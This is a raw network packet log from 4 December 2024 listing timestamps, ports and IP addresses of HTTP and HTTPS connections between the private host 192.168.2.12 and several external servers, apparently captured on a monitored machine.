Dec 4, 2024 16:11:03.510596037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.510649920 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.510668993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.511564970 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.511699915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.511805058 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.512571096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.512645960 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.512676001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.513461113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.514847040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:14.658823967 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:16.278975964 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:16.279012918 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:16.279079914 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:16.279335976 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:16.279349089 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:16.493643045 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:16.493686914 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:16.493766069 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:16.495614052 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:16.495630980 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:16.929950953 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:16.930003881 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:16.930083036 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:16.930521011 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:16.930532932 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:17.685410023 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:17.736304998 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.748459101 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.748477936 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:17.749810934 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:17.749886036 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.751899004 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.751979113 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:17.802449942 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.802481890 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:17.845205069 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:17.882392883 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:17.882487059 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:17.937251091 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:17.937272072 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:17.937628031 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:17.982196093 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:17.984487057 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.031327009 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.426071882 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.426150084 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.426382065 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.426723957 CET	49741	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.426745892 CET	443	49741	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.490226984 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:18.490382910 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:18.550143957 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:18.550159931 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:18.550554037 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:18.570024967 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:18.570080996 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:18.570167065 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:18.570769072 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:18.570785999 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:18.574976921 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:18.604896069 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.604942083 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.605005026 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.605880976 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:18.605895042 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:18.619329929 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:18.651808977 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:18.651823997 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:18.651891947 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:18.652193069 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:18.652200937 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:19.130148888 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.130176067 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.130192041 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.130254030 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.130287886 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.130353928 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.165599108 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.165653944 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.165716887 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.165718079 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.165750027 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.165776968 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.172343969 CET	49742	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:11:19.172369003 CET	443	49742	20.12.23.50	192.168.2.12
Dec 4, 2024 16:11:19.996562004 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:19.996658087 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.002194881 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.002219915 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.002526999 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.006114960 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.051330090 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.416336060 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.416383028 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.460102081 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.489120960 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.513231039 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.513242006 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.513443947 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.513470888 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.514579058 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.514657974 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.514789104 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.514806032 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.514843941 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.515831947 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.515938044 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.517079115 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.517143965 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.517343044 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.517348051 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.517568111 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.517575026 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.519862890 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.519928932 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.520061970 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.534809113 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.534840107 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.534847975 CET	49749	443	192.168.2.12	23.218.208.109
Dec 4, 2024 16:11:20.534854889 CET	443	49749	23.218.208.109	192.168.2.12
Dec 4, 2024 16:11:20.559990883 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.589678049 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.916203022 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916248083 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916261911 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916286945 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916296959 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916300058 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.916340113 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916351080 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:20.916352987 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.916378975 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:20.916558981 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916580915 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916590929 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916604996 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916608095 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916615963 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916640997 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.916661978 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:20.916676998 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:20.916703939 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.090044022 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.090059996 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.090106010 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.090115070 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.090148926 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.090164900 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.090192080 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.101635933 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.101651907 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.101689100 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.101733923 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.101733923 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.101773977 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.101783037 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.101814985 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.143985033 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.144020081 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.144073963 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.144093037 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.144103050 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.144135952 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.185106039 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.185142040 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.185182095 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.185185909 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.185199022 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.185214996 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.185245991 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.197268009 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.197372913 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.197376966 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.197480917 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.197818995 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.197835922 CET	443	49750	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.197844982 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.197885990 CET	49750	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.267491102 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.267523050 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.267584085 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.267601013 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.267738104 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.267738104 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.306283951 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.306309938 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.306348085 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.306363106 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.306379080 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.306423903 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.326097012 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.326116085 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.326157093 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.326175928 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.326178074 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.326237917 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.347290039 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.347311020 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.347348928 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.347368002 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.347390890 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.347404957 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.437980890 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.438024044 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.438224077 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.438364029 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.438374996 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.453161001 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.453187943 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.453278065 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.453278065 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.453305006 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.453341961 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.470794916 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.470818996 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.470871925 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.470910072 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.470926046 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.471071005 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.485038996 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.485066891 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.485119104 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.485138893 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.485158920 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.485188007 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.499762058 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.499780893 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.499835014 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.499855995 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.499880075 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.499952078 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.514919996 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.514947891 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.515014887 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.515033960 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.515332937 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.524774075 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.524847031 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.524862051 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.524885893 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.524910927 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.524929047 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.525145054 CET	49748	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:21.525163889 CET	443	49748	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:21.774590015 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.774636984 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:21.774713039 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.775098085 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:21.775113106 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.163933992 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.167865038 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.167889118 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.169011116 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.169084072 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.169739008 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.169848919 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.169878960 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.214737892 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.214764118 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.261004925 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.494565964 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.495356083 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.495368958 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.496479988 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.496582031 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.497297049 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.497366905 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.497473001 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.497479916 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.542813063 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.659816980 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659847021 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659853935 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659878969 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659898996 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659914970 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.659938097 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.659938097 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.659960032 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.660000086 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.660000086 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.833924055 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.833956003 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.833995104 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.834006071 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.834044933 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.877451897 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.877473116 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.877515078 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.877531052 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.877603054 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.908308983 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.911978006 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.912035942 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.912046909 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.912065029 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.912086010 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.912117004 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.980918884 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.980958939 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.980982065 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.980992079 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.981003046 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.981007099 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.981034040 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:23.981075048 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.981103897 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.999722958 CET	49754	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:23.999748945 CET	443	49754	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.158880949 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.158910036 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.158963919 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.158982038 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.159013987 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.159059048 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.239531994 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.239562035 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.239666939 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.239666939 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.239685059 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.239721060 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.335670948 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.335700989 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.335807085 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.335829973 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.335962057 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.374114037 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.374142885 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.374815941 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.374835014 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.374890089 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.392617941 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.392636061 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.392721891 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.392740965 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.394597054 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.413358927 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.413377047 CET	443	49755	13.107.246.43	192.168.2.12
